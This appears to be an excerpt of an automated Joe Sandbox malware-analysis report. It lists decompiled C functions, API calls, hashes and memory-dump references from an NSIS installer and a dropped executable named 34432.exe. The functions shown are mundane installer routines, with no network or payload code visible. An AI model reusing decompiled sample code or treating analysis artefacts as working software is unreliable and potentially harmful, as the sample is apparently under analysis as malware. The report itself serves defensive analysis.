Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 06d0c97e576fd12928d3ccf504f16285b7ed678bb4ff82b9d12c133dfbf75c1e
Instruction ID: d7f2b51e3f2153b105aad6c1cbcae815e44f670c765de83d30fbb221df5484fa
Opcode Fuzzy Hash: 06d0c97e576fd12928d3ccf504f16285b7ed678bb4ff82b9d12c133dfbf75c1e
Instruction Fuzzy Hash: AC11D573A041283BDB10656DAC45E9E369CAF81334F254237FA66F21D1EA78D91182E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405E0C(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405e0d
0x00405e1a
0x00405e1b
0x00405e26
0x00405e2e
0x00405e2e
0x00405e36

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E12
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E1C
lstrcatW.KERNEL32(?,0040A014), ref: 00405E2E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E0C

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 1a595bf39a0a3392b99637bd72bd9cca8666c17676e511d5d4bf90e80f698eee
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: A8D0A731101930BAC2127B49EC08DDF62ACAE89340341443BF145B30A4CB7C5E5187FD

Uniqueness

Uniqueness Score: -1.00%

Function 00403019 Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403019(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x42aa20; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x434f0c;
						if(_t2 >  *0x434f0c) {
							_t3 = CreateDialogParamW( *0x434f00, 0x6f, 0, E00402F93, 0);
							 *0x42aa20 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406946(0);
					}
				} else {
					_t6 =  *0x42aa20; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x42aa20 = 0;
					return _t6;
				}
			}

0x00403020
0x0040303a
0x00403040
0x0040304a
0x00403050
0x00403056
0x00403067
0x00403070
0x00000000
0x00403075
0x0040307c
0x00403042
0x00403049
0x00403049
0x00403022
0x00403022
0x00403029
0x0040302c
0x0040302c
0x00403032
0x00403039
0x00403039

APIs

DestroyWindow.USER32(00000000,00000000,004031F7,00000001,?,?,?,?,?,0040387D,?), ref: 0040302C
GetTickCount.KERNEL32 ref: 0040304A
CreateDialogParamW.USER32 ref: 00403067
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040387D,?), ref: 00403075

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction ID: 3364d2369d767f53e7c05e99e54cbc9c067443d5da9c9f227d7c3a258cba7bb7
Opcode Fuzzy Hash: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
Instruction Fuzzy Hash: A9F08270702A20AFC2316F50FE4998B7F68FB44B56741447AF446B15ACCB380DA2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405F14(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040653D(0x42fa70, _a4);
				_t21 = E00405EB7(0x42fa70);
				if(_t21 != 0) {
					E004067C4(_t21);
					if(( *0x434f18 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x42fa70 >> 1;
						while(1) {
							_t11 = lstrlenW(0x42fa70);
							_push(0x42fa70);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E00406873();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405E58(0x42fa70);
								continue;
							} else {
								goto L1;
							}
						}
						E00405E0C();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405f20
0x00405f2b
0x00405f2f
0x00405f36
0x00405f42
0x00405f52
0x00405f54
0x00405f6c
0x00405f6d
0x00405f74
0x00405f75
0x00000000
0x00000000
0x00405f58
0x00405f5f
0x00405f67
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f5f
0x00405f77
0x00000000
0x00405f8b
0x00405f44
0x00405f4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f4a
0x00405f31
0x00000000

APIs

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70,76CDFAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,76CDFAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F6D
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76CDFAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\), ref: 00405F7D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F14

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3081826266
Opcode ID: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction ID: e20fb510edeaf32ba19235dad054e15b0ffac27cf679254cac4fdbc394554759
Opcode Fuzzy Hash: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction Fuzzy Hash: E3F0F426119D6226DB22333A5C05EAF0554CE9276475A023BF895B12C5DB3C8A43D8AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405513 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405513(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x42d254 != _t16) {
							_push(_t16);
							_push(6);
							 *0x42d254 = _t16;
							E00404ED4();
						}
						L11:
						return CallWindowProcW( *0x42d25c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404E54(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004044E5(0x413);
				return 0;
			}

0x00405517
0x00405521
0x0040553d
0x0040555f
0x00405562
0x00405568
0x00405572
0x00405573
0x00405575
0x0040557b
0x0040557b
0x00405585
0x00000000
0x00405593
0x0040554a
0x00405582
0x00405582
0x00000000
0x00405582
0x00405556
0x00405558
0x00000000
0x00405558
0x00405527
0x00000000
0x00000000
0x0040552e
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405542
CallWindowProcW.USER32(?,?,?,?), ref: 00405593

Part of subcall function 004044E5: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F7

Strings

, xrefs: 00405523

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction ID: 904a7c61355239921aaa7855b64c86422fca6e8886f64d9e6fcbc6a993ea73ec
Opcode Fuzzy Hash: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
Instruction Fuzzy Hash: F3017CB1100608BFDF209F11DD80AAB3B27EB84754F50453AFA01762D5D77A8E92DA69

Uniqueness

Uniqueness Score: -1.00%

Function 0040640B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040640B(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004063AA(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406419
0x0040641b
0x00406433
0x00406438
0x0040643d
0x0040647b
0x0040647b
0x0040643f
0x00406451
0x0040645c
0x00406462
0x0040646d
0x00000000
0x00000000
0x0040646d
0x00406481

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000000,0042C248,00000000,?,?,C:\Users\user\AppData\Roaming\34432.exe,?,?,00406672,80000002), ref: 00406451
RegCloseKey.ADVAPI32(?,?,00406672,80000002,Software\Microsoft\Windows\CurrentVersion,C:\Users\user\AppData\Roaming\34432.exe,C:\Users\user\AppData\Roaming\34432.exe,C:\Users\user\AppData\Roaming\34432.exe,00000000,0042C248), ref: 0040645C

Strings

C:\Users\user\AppData\Roaming\34432.exe, xrefs: 00406412

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CloseQueryValue
String ID: C:\Users\user\AppData\Roaming\34432.exe
API String ID: 3356406503-1124846496
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: a8d415a3dc4e4479eaaa65942f717852bb8bd3539c12dad3b2e52d491ce509ba
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: FB017C72510209AADF21CF51CC09EDB3BB8FB54364F01803AFD5AA6190D738D968DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403B57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B57() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x42b22c;
				_t3 = E00403B3C(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x42b22c =  *0x42b22c & 0x00000000;
				return _t3;
			}

0x00403b58
0x00403b60
0x00403b67
0x00403b6a
0x00403b6a
0x00403b6c
0x00403b71
0x00403b78
0x00403b7e
0x00403b82
0x00403b83
0x00403b8b

APIs

FreeLibrary.KERNEL32(?,76CDFAA0,00000000,C:\Users\user\AppData\Local\Temp\,00403B2F,00403A5E,?), ref: 00403B71
GlobalFree.KERNEL32 ref: 00403B78

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B57

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction ID: 19c5699a9bb8b3376c06320bd1355d3f7d45777e2bc9a3354ca833756e7661a4
Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction Fuzzy Hash: 40E0EC3290212097C7615F55FE08B6E7B78AF49B26F05056AE884BB2628B746D428BDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405F92 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F92(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405fa2
0x00405fa4
0x00405fa7
0x00405fd3
0x00405fac
0x00405fb5
0x00405fba
0x00405fc5
0x00405fc8
0x00405fe4
0x00405fca
0x00405fd1
0x00000000
0x00405fd1
0x00405fdd
0x00405fe1
0x00405fe1
0x00405fdb
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBA
CharNextA.USER32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCB
lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: bd09551308ad338638525116890fdadd4ab1f465f5503068af61de479685a4e4
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: 34F0C231604418FFC7029BA5CD0099EBBA8EF06250B2140AAF840FB210D678DE019BA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 34432.exePID: 6836, Parent PID: 6752COMMON

Executed Functions

Function 00007FFF7E401CCC Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbc34f93633c4adc465ab4fe1366098ee982aaad0d16ae6d0392597ddb45bee3
Instruction ID: 3395399c912543d30720f61d79a053f54571deb984c85d02489e3222c72b5a83
Opcode Fuzzy Hash: cbc34f93633c4adc465ab4fe1366098ee982aaad0d16ae6d0392597ddb45bee3
Instruction Fuzzy Hash: 8B31292560D7890FD31BAA348855562BFA5EF87210B1582FFD0D6CB5E7DD285807C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E401C9B Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d1777218f68f286567c119feed10924efd7df0decd301de1e4c346b3486899
Instruction ID: be8af5848816afce7f2b33570489f305e260eff55a15dd5c622a36e59822dc5e
Opcode Fuzzy Hash: 95d1777218f68f286567c119feed10924efd7df0decd301de1e4c346b3486899
Instruction Fuzzy Hash: 3E31262250D7890FD31B9A348C695627FA6DB87210B1A82FFD4C6CB1A7D8286C07C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E401D60 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ce7a29c480d311bc3d79a731ed87f1839b566c06709d88ef1e0c6f2a774a66
Instruction ID: 4f70370fdd8d496d7766debfdc6587cdd648079e1fc269bab427ef9f57ffc783
Opcode Fuzzy Hash: a2ce7a29c480d311bc3d79a731ed87f1839b566c06709d88ef1e0c6f2a774a66
Instruction Fuzzy Hash: 12210B2660D6C51FD31B9A398C69462BFAADBC711071A82EFD4C6CB5E3DD285807C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E408CF5 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

0^RU, xrefs: 00007FFF7E408D32

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID: 0^RU
API String ID: 0-616677034
Opcode ID: 924df49e2792c6e3243180452764e3c1cb9d9918a2a9188dfded39f21c5f26b2
Instruction ID: f402d992327036c44d8256bcf3e9977c58f6e6120c73c0c69e599db38d537302
Opcode Fuzzy Hash: 924df49e2792c6e3243180452764e3c1cb9d9918a2a9188dfded39f21c5f26b2
Instruction Fuzzy Hash: 8C018F30B5890D8FCB4CEB1CC455EADB3E2EF59710B0442A9D40AC72A1DE24EC5287C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406B7B Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

py.~, xrefs: 00007FFF7E406C5A

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID: py.~
API String ID: 0-2917235016
Opcode ID: abdb8b6eca5339955b9173f7a722343a8609ee35d5a46ee5ecb23c8efe0b65ba
Instruction ID: f9821d45064052cf356943ede9ec64c9aa4017bb009651321f83a40084de35da
Opcode Fuzzy Hash: abdb8b6eca5339955b9173f7a722343a8609ee35d5a46ee5ecb23c8efe0b65ba
Instruction Fuzzy Hash: 60F0F03671841A0BE78CFA6C80AA2FD62C2EF85300B5001BFE40BCB3D7DC2CA8120395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406E53 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

Xz.~, xrefs: 00007FFF7E406E9C

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID: Xz.~
API String ID: 0-3391176896
Opcode ID: 1f6300bdaa702e9e8590f481d5ad9529e3b56cbbe8690c6eb591ff010ad524e8
Instruction ID: 3ee200a853699a73e7831a2399d8d35456a7cbe3a858f9309c368f0427d3233d
Opcode Fuzzy Hash: 1f6300bdaa702e9e8590f481d5ad9529e3b56cbbe8690c6eb591ff010ad524e8
Instruction Fuzzy Hash: 3AF01434A049198FDBE4EB28D495B6873E2EB59311F5441D9900DD7656CA349D868B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E406F56 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

Xz.~, xrefs: 00007FFF7E406F80

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID: Xz.~
API String ID: 0-3391176896
Opcode ID: 23de654445ea5f2c7ad9e8e79e09522b007acb104ca2081fcdafcb565b2870ce
Instruction ID: 6b5d6a3e891e4e093b81f70834e4f97b42a25005af45b891594f960fed66963e
Opcode Fuzzy Hash: 23de654445ea5f2c7ad9e8e79e09522b007acb104ca2081fcdafcb565b2870ce
Instruction Fuzzy Hash: 49D05E01B18A0F0BD4586B5C305917863D2FBC8211E90017AE40ED37C3DC1A6C43024A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFF7E401182 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

`W.~, xrefs: 00007FFF7E4011A0

Memory Dump Source

Source File: 00000004.00000002.374556125.00007FFF7E400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFF7E400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7fff7e400000_34432.jbxd

Similarity

API ID:
String ID: `W.~
API String ID: 0-3475719485
Opcode ID: 2626cca4b7d137d494568b232ff6a5f4924d705b4b02890ec9f628200d7ba809
Instruction ID: f9f04d1fc2cba07feabf6a3bf4dcf5aeb6b60ad2448795eac2a8e3f8d3aae39e
